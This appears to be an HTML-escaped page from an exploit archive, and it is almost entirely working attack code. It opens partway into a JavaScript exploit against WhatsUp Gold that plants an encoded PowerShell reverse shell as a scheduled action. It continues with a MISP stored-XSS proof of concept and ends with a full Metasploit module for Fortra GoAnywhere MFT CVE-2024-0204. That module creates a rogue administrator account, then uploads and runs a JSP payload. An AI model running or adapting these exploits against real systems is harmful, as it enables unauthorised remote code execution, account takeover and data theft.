gBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACgAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQApACAAKwAgACcAQAAnACAAKwAgACgAJABlAG4AdgA6AFUAcwBlAHIARABvAG0AYQBpAG4AKQAgACsAIAAoAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATgBlAHcATABpAG4AZQApACAAKwAgACgAZwBlAHQALQBsAG8AYwBhAHQAaQBvAG4AKQArACcAPgAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA&#61;&#61;\\&quot; -NoNewWindow&quot;,&quot;ScriptImpersonateFlag&quot;:false,&quot;ClsId&quot;:&quot;5903a09a-cce6-11e0-8f66-fe544824019b&quot;,&quot;Description&quot;:&quot;Evil script&quot;,&quot;Name&quot;:&quot;Systemtask&quot;&#125;&#39;<br />&#125;);<br /><br /><br />setTimeout(() &#61;&gt; &#123; getactions(); &#125;, 1000);<br /><br />&#125;;<br /><br /><br /><br />async function getactions() &#123;<br /><br />const response &#61; await fetch(vhost+&#39;/NmConsole/api/core/WugAction?_dc&#61;4&#39;,&#123;<br /> method: &#39;GET&#39;,<br /> headers: &#123;<br /> &#39;Connection&#39;: &#39;close&#39;, <br /> &#39;sec-ch-ua&#39;: &#39;&quot; Not A;Brand&quot;;v&#61;&quot;99&quot;, &quot;Chromium&quot;;v&#61;&quot;102&quot;, &quot;Microsoft Edge&quot;;v&#61;&quot;102&quot;&#39;, <br /> &#39;Accept&#39;: &#39;application/json&#39;, <br /> &#39;Content-Type&#39;: &#39;application/json&#39;, <br /> &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;, <br /> &#39;sec-ch-ua-mobile&#39;: &#39;?0&#39;, <br /> &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33&#39;, <br /> &#39;sec-ch-ua-platform&#39;: &#39;&quot;macOS&quot;&#39;, <br /> &#39;Sec-Fetch-Site&#39;: &#39;same-origin&#39;, <br /> &#39;Sec-Fetch-Mode&#39;: &#39;cors&#39;, <br /> &#39;Sec-Fetch-Dest&#39;: &#39;empty&#39;, <br /> &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;, <br /> &#39;Accept-Language&#39;: &#39;nb,no;q&#61;0.9,en;q&#61;0.8,en-GB;q&#61;0.7,en-US;q&#61;0.6,sv;q&#61;0.5,fr;q&#61;0.4&#39;<br /> &#125;,<br /> credentials: &#39;include&#39;<br /> <br />&#125;);<br />const actions &#61; await response.json();<br />var results &#61; &#91;&#93;;<br />var searchField &#61; &quot;Name&quot;;<br />var searchVal &#61; &quot;Systemtask&quot;;<br />for (var i&#61;0 ; i &lt; actions.length ; i++)<br />&#123;<br /> if (actions&#91;i&#93;&#91;searchField&#93; &#61;&#61; searchVal) &#123;<br /> results.push(actions&#91;i&#93;.Id);<br /> revshell(results&#91;0&#93;)<br /> <br /> &#125;<br />&#125;<br />//console.log(actions);<br /><br />&#125;;<br /><br /><br />async function revshell(ID) &#123;<br />fetch(vhost+&#39;/NmConsole/Configuration/DlgRecurringActionLibrary/DlgSchedule/DlgSchedule.asp&#39;,&#123;<br /> method: &#39;POST&#39;,<br /> headers: &#123;<br /> &#39;Connection&#39;: &#39;close&#39;,<br /> &#39;Content-Length&#39;: &#39;2442&#39;,<br /> &#39;Cache-Control&#39;: &#39;max-age&#61;0&#39;,<br /> &#39;sec-ch-ua&#39;: &#39;&quot; Not A;Brand&quot;;v&#61;&quot;99&quot;, &quot;Chromium&quot;;v&#61;&quot;102&quot;, &quot;Microsoft Edge&quot;;v&#61;&quot;102&quot;&#39;,<br /> &#39;sec-ch-ua-mobile&#39;: &#39;?0&#39;,<br /> &#39;sec-ch-ua-platform&#39;: &#39;&quot;macOS&quot;&#39;,<br /> &#39;Upgrade-Insecure-Requests&#39;: &#39;1&#39;,<br /> &#39;Origin&#39;: &#39;https://192.168.16.100&#39;,<br /> &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br /> &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33&#39;,<br /> &#39;Accept&#39;: &#39;text/html,application/xhtml+xml,application/xml;q&#61;0.9,image/webp,image/apng,&#42;/&#42;;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.9&#39;,<br /> &#39;Sec-Fetch-Site&#39;: &#39;same-origin&#39;,<br /> &#39;Sec-Fetch-Mode&#39;: &#39;navigate&#39;,<br /> &#39;Sec-Fetch-User&#39;: &#39;?1&#39;,<br /> &#39;Sec-Fetch-Dest&#39;: &#39;iframe&#39;,<br /> &#39;Referer&#39;: &#39;https://192.168.16.100/NmConsole/Configuration/DlgRecurringActionLibrary/DlgSchedule/DlgSchedule.asp&#39;,<br /> &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;,<br /> &#39;Accept-Language&#39;: &#39;nb,no;q&#61;0.9,en;q&#61;0.8,en-GB;q&#61;0.7,en-US;q&#61;0.6,sv;q&#61;0.5,fr;q&#61;0.4&#39;<br /> &#125;,<br /> credentials: &#39;include&#39;,<br /> body: &#39;DlgSchedule.oCheckBoxEnableSchedule&#61;on&amp;DlgSchedule.ScheduleType&#61;DlgSchedule.oRadioButtonInterval&amp;DlgSchedule.oEditIntervalMinutes&#61;5&amp;ShowAspFormDialog.VISITEDFORM&#61;visited&amp;DlgRecurringActionGeneral.oEditName&#61;test&amp;DlgRecurringActionGeneral.oComboSelectActionType&#61;21&amp;DlgRecurringActionGeneral.DIALOGRETURNURL&#61;%2FNmConsole%2F%24Nm%2FCore%2FForm-AspForms%2Finc%2FShowAspFormDialog.asp&amp;DlgRecurringActionGeneral.SAVEDFORMSTATE&#61;%253cSavedFormState%253e%253cFormVariables%253e%253coElement%2520sName%3D%2522__VIEWSTATE%2522%2520sValue%3D%2522%25253cViewState%2F%25253e%0D%0A%2522%2F%253e%253c%2FFormVariables%253e%253cQueryStringVariables%2F%253e%253c%2FSavedFormState%253e&amp;DlgRecurringActionGeneral.VISITEDFORM&#61;visited%2C+visited&amp;DlgSchedule.DIALOGRETURNURL&#61;%2FNmConsole%2F%24Nm%2FCore%2FForm-AspForms%2Finc%2FShowAspFormDialog.asp&amp;DlgSchedule.SAVEDFORMSTATE&#61;%253cSavedFormState%253e%253cFormVariables%253e%253coElement%2520sName%3D%2522__VIEWSTATE%2522%2520sValue%3D%2522%25253cViewState%2F%25253e%0D%0A%2522%2F%253e%253c%2FFormVariables%253e%253cQueryStringVariables%2F%253e%253c%2FSavedFormState%253e&amp;__EVENTTYPE&#61;ButtonPressed&amp;__EVENTTARGET&#61;DlgSchedule.oButtonFinish&amp;__EVENTARGUMENT&#61;&amp;DlgSchedule.VISITEDFORM&#61;visited&amp;__SOURCEFORM&#61;DlgSchedule&amp;__VIEWSTATE&#61;%253cViewState%253e%253coElement%2520sName%3D%2522DlgRecurringActionGeneral.RecurringAction-sMode%2522%2520sValue%3D%2522new%2522%2F%253e%253coElement%2520sName%3D%2522RecurringAction-nActionTypeID%2522%2520sValue%3D%2522&#39;+ID+&#39;%2522%2F%253e%253coElement%2520sName%3D%2522Date_nStartOfWeek%2522%2520sValue%3D%25220%2522%2F%253e%253coElement%2520sName%3D%2522Date_sMediumDateFormat%2522%2520sValue%3D%2522MMMM%2520dd%2C%2520yyyy%2522%2F%253e%253coElement%2520sName%3D%2522DlgSchedule.sWebUserName%2522%2520sValue%3D%2522admin%2522%2F%253e%253coElement%2520sName%3D%2522DlgRecurringActionGeneral.sWebUserName%2522%2520sValue%3D%2522admin%2522%2F%253e%253coElement%2520sName%3D%2522DlgSchedule.RecurringAction-sMode%2522%2520sValue%3D%2522new%2522%2F%253e%253coElement%2520sName%3D%2522RecurringAction-sName%2522%2520sValue%3D%2522test%2522%2F%253e%253coElement%2520sName%3D%2522Date_bIs24HourTime%2522%2520sValue%3D%25220%2522%2F%253e%253c%2FViewState%253e%0D%0A&amp;DlgSchedule.oEditDay&#61;&amp;DlgSchedule.oComboSelectMonthHour&#61;0&amp;DlgSchedule.oComboSelectMonthMinute&#61;0&amp;DlgSchedule.oComboSelectMonthAmPm&#61;0&amp;DlgSchedule.oComboSelectWeekHour&#61;0&amp;DlgSchedule.oComboSelectWeekMinute&#61;0&amp;DlgSchedule.oComboSelectWeekAmPm&#61;0&#39;<br />&#125;);<br />&#125;;<br /><br /></code></pre>

<pre><code># Exploit Title: MISP 2.4.171 Stored XSS &#91;CVE-2023-37307&#93; (Authenticated)<br /># Date: 8th October 2023<br /># Exploit Author: Mücahit Çeri<br /># Vendor Homepage: https://www.circl.lu/<br /># Software Link: https://github.com/MISP/MISP<br /># Version: 2.4.171<br /># Tested on: Ubuntu 20.04<br /># CVE : CVE-2023-37307<br /><br /># Exploit:<br />Logged in as low privileged account<br /><br />1)Click on the &quot;Galaxies&quot; button in the top menu<br />2)Click &quot;Add Cluster&quot; in the left menu.<br />3)Enter the payload &quot;&lt;/title&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot; in the Name parameter.<br />4)Other fields are filled randomly. Click on Submit button.<br />5)When the relevant cluster is displayed, we see that alert(1) is running<br /><br /></code></pre>

<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule &lt; Msf::Exploit::Remote<br /> Rank &#61; ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::FileDropper<br /> include Msf::Auxiliary::Report<br /><br /> def initialize(info &#61; &#123;&#125;)<br /> super(<br /> update_info(<br /> info,<br /> &#39;Name&#39; &#61;&gt; &#39;Fortra GoAnywhere MFT Unauthenticated Remote Code Execution&#39;,<br /> &#39;Description&#39; &#61;&gt; %q&#123;<br /> This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to<br /> create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere<br /> MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.<br /> &#125;,<br /> &#39;License&#39; &#61;&gt; MSF_LICENSE,<br /> &#39;Author&#39; &#61;&gt; &#91;<br /> &#39;sfewer-r7&#39;, # MSF RCE Exploit<br /> &#39;James Horseman&#39;, # Original auth bypass PoC/Analysis<br /> &#39;Zach Hanley&#39; # Original auth bypass PoC/Analysis<br /> &#93;,<br /> &#39;References&#39; &#61;&gt; &#91;<br /> &#91;&#39;CVE&#39;, &#39;2024-0204&#39;&#93;,<br /> &#91;&#39;URL&#39;, &#39;https://www.fortra.com/security/advisory/fi-2024-001&#39;&#93;, # Vendor Advisory<br /> &#91;&#39;URL&#39;, &#39;https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/&#39;&#93;<br /> &#93;,<br /> &#39;DisclosureDate&#39; &#61;&gt; &#39;2024-01-22&#39;,<br /> &#39;Platform&#39; &#61;&gt; %w&#91;linux win&#93;,<br /> &#39;Arch&#39; &#61;&gt; &#91;ARCH_JAVA&#93;,<br /> &#39;Privileged&#39; &#61;&gt; true, # Could be &#39;NT AUTHORITY\SYSTEM&#39; on Windows, or a non-root user &#39;gamft&#39; on Linux.<br /> &#39;Targets&#39; &#61;&gt; &#91;<br /> &#91;<br /> # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp<br /> &#39;Automatic&#39;, &#123;&#125;<br /> &#93;,<br /> &#91;<br /> &#39;Linux&#39;,<br /> &#123;<br /> &#39;Platform&#39; &#61;&gt; &#39;linux&#39;,<br /> &#39;GOANYWHERE_INSTALL_PATH&#39; &#61;&gt; &#39;/opt/HelpSystems/GoAnywhere&#39;<br /> &#125;<br /> &#93;,<br /> &#91;<br /> &#39;Windows&#39;,<br /> &#123;<br /> &#39;Platform&#39; &#61;&gt; &#39;win&#39;,<br /> &#39;GOANYWHERE_INSTALL_PATH&#39; &#61;&gt; &#39;C:\\Program Files\\Fortra\\GoAnywhere\\&#39;<br /> &#125;,<br /> &#93;,<br /> &#93;,<br /> &#39;DefaultOptions&#39; &#61;&gt; &#123;<br /> &#39;RPORT&#39; &#61;&gt; 8001,<br /> &#39;SSL&#39; &#61;&gt; true<br /> &#125;,<br /> &#39;DefaultTarget&#39; &#61;&gt; 0,<br /> &#39;Notes&#39; &#61;&gt; &#123;<br /> &#39;Stability&#39; &#61;&gt; &#91;CRASH_SAFE&#93;,<br /> &#39;Reliability&#39; &#61;&gt; &#91;REPEATABLE_SESSION&#93;,<br /> &#39;SideEffects&#39; &#61;&gt; &#91;<br /> IOC_IN_LOGS,<br /> # A new admin account is created, which the exploit can&#39;t destroy.<br /> CONFIG_CHANGES,<br /> # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.<br /> ARTIFACTS_ON_DISK<br /> &#93;<br /> &#125;<br /> )<br /> )<br /><br /> register_options(<br /> &#91;<br /> OptString.new(&#39;TARGETURI&#39;, &#91;true, &#39;The base path to the web application&#39;, &#39;/goanywhere/&#39;&#93;),<br /> &#93;<br /> )<br /> end<br /><br /> def check<br /> # We can query an undocumented unauthenticated REST API endpoint and pull the version number.<br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;GET&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, &#39;/rest/gacmd/v1/system&#39;)<br /> )<br /><br /> return CheckCode::Unknown(&#39;Connection failed&#39;) unless res<br /><br /> return CheckCode::Unknown(&quot;Received unexpected HTTP status code: #&#123;res.code&#125;.&quot;) unless res.code &#61;&#61; 200<br /><br /> json_data &#61; res.get_json_document<br /><br /> product &#61; json_data.dig(&#39;data&#39;, &#39;product&#39;)<br /><br /> version &#61; json_data.dig(&#39;data&#39;, &#39;version&#39;)<br /><br /> return CheckCode::Unknown(&#39;No version information in response&#39;) if product.nil? &#124;&#124; version.nil?<br /><br /> # As per the Fortra advisory, the following version are affected:<br /> # &#42; Fortra GoAnywhere MFT 6.x from 6.0.1<br /> # &#42; Fortra GoAnywhere MFT 7.x before 7.4.1<br /> # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.<br /> if Rex::Version.new(version).between?(Rex::Version.new(&#39;6.0.1&#39;), Rex::Version.new(&#39;7.4.0&#39;))<br /> return CheckCode::Appears(&quot;#&#123;product&#125; #&#123;version&#125;&quot;)<br /> end<br /><br /> Exploit::CheckCode::Safe(&quot;#&#123;product&#125; #&#123;version&#125;&quot;)<br /> end<br /><br /> def exploit<br /> # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So<br /> # we generate the username/password pair we want to use.<br /> # Note: We cannot delete the administrator account that we create.<br /> admin_username &#61; Rex::Text.rand_text_alpha_lower(8)<br /> admin_password &#61; Rex::Text.rand_text_alphanumeric(16)<br /><br /> # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to<br /> # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double<br /> # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick<br /> # a random one that we know works.<br /> path_segments &#61; %w&#91;styles fonts auth help&#93;<br /><br /> path_segment &#61; path_segments.sample<br /><br /> # This is CVE-2024-0204...<br /> initialaccountsetup_endpoint &#61; &quot;/#&#123;path_segment&#125;/..;/wizard/InitialAccountSetup.xhtml&quot;<br /><br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;POST&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, initialaccountsetup_endpoint),<br /> &#39;keep_cookies&#39; &#61;&gt; true,<br /> &#39;vars_post&#39; &#61;&gt; &#123;<br /> &#39;javax.faces.ViewState&#39; &#61;&gt; get_viewstate(initialaccountsetup_endpoint),<br /> &#39;j_id_u:creteAdminGrid:username&#39; &#61;&gt; admin_username,<br /> &#39;j_id_u:creteAdminGrid:password&#39; &#61;&gt; admin_password,<br /> &#39;j_id_u:creteAdminGrid:password_hinput&#39; &#61;&gt; admin_password,<br /> &#39;j_id_u:creteAdminGrid:confirmPassword&#39; &#61;&gt; admin_password,<br /> &#39;j_id_u:creteAdminGrid:confirmPassword_hinput&#39; &#61;&gt; admin_password,<br /> &#39;j_id_u:creteAdminGrid:submitButton&#39; &#61;&gt; &#39;&#39;,<br /> &#39;createAdminForm_SUBMIT&#39; &#61;&gt; 1<br /> &#125;<br /> )<br /><br /> # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method<br /> # loginNewAdminUser and update our current session, so we dont need to manually login.<br /> unless res&amp;.code &#61;&#61; 302 &amp;&amp; res.headers&#91;&#39;Location&#39;&#93; &#61;&#61; normalize_uri(target_uri.path, &#39;Dashboard.xhtml&#39;)<br /> fail_with(Failure::UnexpectedReply, &quot;Unexpected reply 1 from #&#123;initialaccountsetup_endpoint&#125;&quot;)<br /> end<br /><br /> print_status(&quot;Created account: #&#123;admin_username&#125;:#&#123;admin_password&#125;. Note: This account will not be deleted by the module.&quot;)<br /><br /> store_credentials(admin_username, admin_password)<br /><br /> # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.<br /> if target.name &#61;&#61; &#39;Automatic&#39;<br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;GET&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, &#39;/help/About.xhtml&#39;),<br /> &#39;keep_cookies&#39; &#61;&gt; true<br /> )<br /><br /> unless res&amp;.code &#61;&#61; 200<br /> fail_with(Failure::UnexpectedReply, &#39;Unexpected reply 2 from About.xhtml&#39;)<br /> end<br /><br /> # The OS name could be something like &quot;Linux&quot; or &quot;Windows Server 2022&quot;. Under the hood, GoAnywhere is using<br /> # the Java system property &quot;os.name&quot;.<br /> os_match &#61; res.body.match(%r&#123;&lt;span id&#61;&quot;AboutForm:\S+:OSName&quot;&gt;(.+)&lt;/span&gt;&#125;)<br /> unless os_match<br /> fail_with(Failure::UnexpectedReply, &#39;Did not locate OSName in About.xhtml&#39;)<br /> end<br /><br /> # To perform the JSP payload upload, we need to know the product installation path.<br /> install_match &#61; res.body.match(%r&#123;&lt;span id&#61;&quot;AboutForm:\S+:goAnywhereHome&quot;&gt;(.+)&lt;/span&gt;&#125;)<br /> unless install_match<br /> fail_with(Failure::UnexpectedReply, &#39;Did not locate goAnywhereHome in About.xhtml&#39;)<br /> end<br /><br /> # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.<br /> found_target &#61; targets.find do &#124;t&#124;<br /> os_match&#91;1&#93;.downcase.include? t.name.downcase<br /> end<br /><br /> unless found_target<br /> fail_with(Failure::NoTarget, &quot;Unable to select an automatic target for &#39;#&#123;os_match&#91;1&#93;&#125;&#39;&quot;)<br /> end<br /><br /> # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.<br /> detected_target &#61; found_target.dup<br /><br /> detected_target.opts&#91;&#39;GOANYWHERE_INSTALL_PATH&#39;&#93; &#61; install_match&#91;1&#93;<br /><br /> print_status(&quot;Automatic targeting, detected OS: #&#123;detected_target.name&#125;&quot;)<br /> print_status(&quot;Automatic targeting, detected install path: #&#123;detected_target&#91;&#39;GOANYWHERE_INSTALL_PATH&#39;&#93;&#125;&quot;)<br /> else<br /> detected_target &#61; target<br /> end<br /><br /> # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then<br /> # change to the directory we want to upload to, then upload the file.<br /><br /> path_separator &#61; detected_target&#91;&#39;Platform&#39;&#93; &#61;&#61; &#39;win&#39; ? &#39;\\&#39; : &#39;/&#39;<br /><br /> # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp<br /> adminroot_path &#61; detected_target&#91;&#39;GOANYWHERE_INSTALL_PATH&#39;&#93;<br /> adminroot_path +&#61; path_separator unless adminroot_path.end_with? path_separator<br /> adminroot_path +&#61; &#39;adminroot&#39;<br /> adminroot_path +&#61; path_separator<br /><br /> viewstate &#61; get_viewstate(&#39;/tools/filemanager/FileManager.xhtml&#39;)<br /><br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;POST&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, &#39;/tools/filemanager/FileManager.xhtml&#39;),<br /> &#39;keep_cookies&#39; &#61;&gt; true,<br /> &#39;vars_post&#39; &#61;&gt; &#123;<br /> &#39;javax.faces.ViewState&#39; &#61;&gt; viewstate,<br /> &#39;j_id_4u:j_id_4v:newPath_focus&#39; &#61;&gt; &#39;&#39;,<br /> &#39;j_id_4u:j_id_4v:newPath_input&#39; &#61;&gt; &#39;/&#39;,<br /> &#39;j_id_4u:j_id_4v:newPath_editableInput&#39; &#61;&gt; adminroot_path,<br /> &#39;j_id_4u:j_id_4v:NewPathButton&#39; &#61;&gt; &#39;&#39;,<br /> &#39;j_id_4u_SUBMIT&#39; &#61;&gt; 1<br /> &#125;<br /> )<br /><br /> unless res&amp;.code &#61;&#61; 200<br /> fail_with(Failure::UnexpectedReply, &#39;Unexpected reply 4 from FileManager.xhtml&#39;)<br /> end<br /><br /> # We require a regID value form the page to upload a file, so we pull that out here.<br /> vs_input &#61; res.get_html_document.at(&#39;input&#91;name&#61;&quot;reqId&quot;&#93;&#39;)<br /><br /> unless vs_input&amp;.key? &#39;value&#39;<br /> fail_with(Failure::UnexpectedReply, &#39;Did not locate reqId in reply 4 from FileManager.xhtml&#39;)<br /> end<br /><br /> request_id &#61; vs_input&#91;&#39;value&#39;&#93;<br /><br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;POST&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, &#39;/tools/filemanager/FileManager.xhtml&#39;),<br /> &#39;keep_cookies&#39; &#61;&gt; true,<br /> &#39;vars_post&#39; &#61;&gt; &#123;<br /> &#39;javax.faces.ViewState&#39; &#61;&gt; viewstate,<br /> &#39;javax.faces.partial.ajax&#39; &#61;&gt; &#39;true&#39;,<br /> &#39;javax.faces.source&#39; &#61;&gt; &#39;uploadID&#39;,<br /> &#39;javax.faces.partial.execute&#39; &#61;&gt; &#39;uploadID&#39;,<br /> &#39;javax.faces.partial.render&#39; &#61;&gt; &#39;&#64;none&#39;,<br /> &#39;uploadID&#39; &#61;&gt; &#39;uploadID&#39;,<br /> &#39;uploadID_sessionCheck&#39; &#61;&gt; &#39;true&#39;,<br /> &#39;reqId&#39; &#61;&gt; request_id,<br /> &#39;whenFileExists_focus&#39; &#61;&gt; &#39;&#39;,<br /> &#39;whenFileExists_input&#39; &#61;&gt; &#39;rename&#39;,<br /> &#39;uploaderType&#39; &#61;&gt; &#39;filemanager&#39;,<br /> &#39;j_id_4i_SUBMIT&#39; &#61;&gt; 1<br /> &#125;<br /> )<br /><br /> unless res&amp;.code &#61;&#61; 200<br /> fail_with(Failure::UnexpectedReply, &#39;Unexpected reply 5 from FileManager.xhtml&#39;)<br /> end<br /><br /> jsp_filename &#61; Rex::Text.rand_text_alphanumeric(8) + &#39;.jsp&#39;<br /><br /> message &#61; Rex::MIME::Message.new<br /><br /> message.add_part(request_id, nil, nil, &#39;form-data; name&#61;&quot;reqId&quot;&#39;)<br /> message.add_part(&#39;&#39;, nil, nil, &#39;form-data; name&#61;&quot;whenFileExists_focus&quot;&#39;)<br /> message.add_part(&#39;rename&#39;, nil, nil, &#39;form-data; name&#61;&quot;whenFileExists_input&quot;&#39;)<br /> message.add_part(&#39;filemanager&#39;, nil, nil, &#39;form-data; name&#61;&quot;uploaderType&quot;&#39;)<br /> message.add_part(&#39;1&#39;, nil, nil, &#39;form-data; name&#61;&quot;j_id_4i_SUBMIT&quot;&#39;)<br /> message.add_part(viewstate, nil, nil, &#39;form-data; name&#61;&quot;javax.faces.ViewState&quot;&#39;)<br /> message.add_part(&#39;true&#39;, nil, nil, &#39;form-data; name&#61;&quot;javax.faces.partial.ajax&quot;&#39;)<br /> message.add_part(&#39;uploadID&#39;, nil, nil, &#39;form-data; name&#61;&quot;javax.faces.partial.execute&quot;&#39;)<br /> message.add_part(&#39;uploadID&#39;, nil, nil, &#39;form-data; name&#61;&quot;javax.faces.source&quot;&#39;)<br /> message.add_part(&#39;1&#39;, nil, nil, &#39;form-data; name&#61;&quot;uniqueFileUploadId&quot;&#39;)<br /> message.add_part(payload.encoded, &#39;text/plain&#39;, nil, &quot;form-data; name&#61;\&quot;uploadID\&quot;; filename&#61;\&quot;#&#123;jsp_filename&#125;\&quot;&quot;)<br /><br /> # We can now upload our payload...<br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;POST&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, &#39;/tools/filemanager/FileManager.xhtml&#39;),<br /> &#39;keep_cookies&#39; &#61;&gt; true,<br /> &#39;ctype&#39; &#61;&gt; &#39;multipart/form-data; boundary&#61;&#39; + message.bound,<br /> &#39;data&#39; &#61;&gt; message.to_s<br /> )<br /><br /> unless res&amp;.code &#61;&#61; 200<br /> fail_with(Failure::UnexpectedReply, &#39;Unexpected reply 6 from FileManager.xhtml&#39;)<br /> end<br /><br /> # Register our payload so it is deleted when the session is created.<br /><br /> jsp_filepath &#61; adminroot_path + jsp_filename<br /><br /> print_status(&quot;Dropped payload: #&#123;jsp_filepath&#125;&quot;)<br /><br /> # We are using the FileDropper mixin to automatically delete this file after a session has been created.<br /> register_file_for_cleanup(jsp_filepath)<br /><br /> # A copy of the files this user uploads is left here:<br /> # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp<br /> # We register these to be deleted, but they appear to be locked, preventing deleting.<br /> userdoc_path &#61; detected_target&#91;&#39;GOANYWHERE_INSTALL_PATH&#39;&#93;<br /> userdoc_path +&#61; path_separator unless userdoc_path.end_with? path_separator<br /> userdoc_path +&#61; &#39;userdata&#39;<br /> userdoc_path +&#61; path_separator<br /> userdoc_path +&#61; &#39;documents&#39;<br /> userdoc_path +&#61; path_separator<br /> userdoc_path +&#61; admin_username<br /> userdoc_path +&#61; path_separator<br /><br /> register_file_for_cleanup(userdoc_path + jsp_filename)<br /><br /> register_dir_for_cleanup(userdoc_path)<br /><br /> # Finally, trigger our payload via a GET request...<br /> send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;GET&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, jsp_filename)<br /> )<br /><br /> # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web<br /> # interface or REST API.<br /> end<br /><br /> # Helper method to pull out a viewstate identifier from a requests HTML response.<br /> def get_viewstate(endpoint)<br /> res &#61; send_request_cgi(<br /> &#39;method&#39; &#61;&gt; &#39;GET&#39;,<br /> &#39;uri&#39; &#61;&gt; normalize_uri(target_uri.path, endpoint),<br /> &#39;keep_cookies&#39; &#61;&gt; true<br /> )<br /><br /> unless res&amp;.code &#61;&#61; 200<br /> fail_with(Failure::UnexpectedReply, &quot;Unexpected reply during get_viewstate via &#39;#&#123;endpoint&#125;&#39;.&quot;)<br /> end<br /><br /> vs_input &#61; res.get_html_document.at(&#39;input&#91;name&#61;&quot;javax.faces.ViewState&quot;&#93;&#39;)<br /><br /> unless vs_input&amp;.key? &#39;value&#39;<br /> fail_with(Failure::UnexpectedReply, &quot;Did not locate ViewState during get_viewstate via &#39;#&#123;endpoint&#125;&#39;.&quot;)<br /> end<br /><br /> vs_input&#91;&#39;value&#39;&#93;<br /> end<br /><br /> def store_credentials(username, password)<br /> service_data &#61; &#123;<br /> address: datastore&#91;&#39;RHOST&#39;&#93;,<br /> port: datastore&#91;&#39;RPORT&#39;&#93;,<br /> service_name: &#39;GoAnywhere MFT Admin Interface&#39;,<br /> protocol: &#39;tcp&#39;,<br /> workspace_id: myworkspace_id<br /> &#125;<br /><br /> credential_data &#61; &#123;<br /> origin_type: :service,<br /> module_fullname: fullname,<br /> username: username,<br /> private_data: password,<br /> private_type: :password<br /> &#125;.merge(service_data)<br /><br /> credential_core &#61; create_credential(credential_data)<br /><br /> login_data &#61; &#123;<br /> core: credential_core,<br /> last_attempted_at: DateTime.now,<br /> status: Metasploit::Model::Login::Status::SUCCESSFUL<br /> &#125;.merge(service_data)<br /><br /> create_credential_login(login_data)<br /> end<br />end<br /></code></pre>

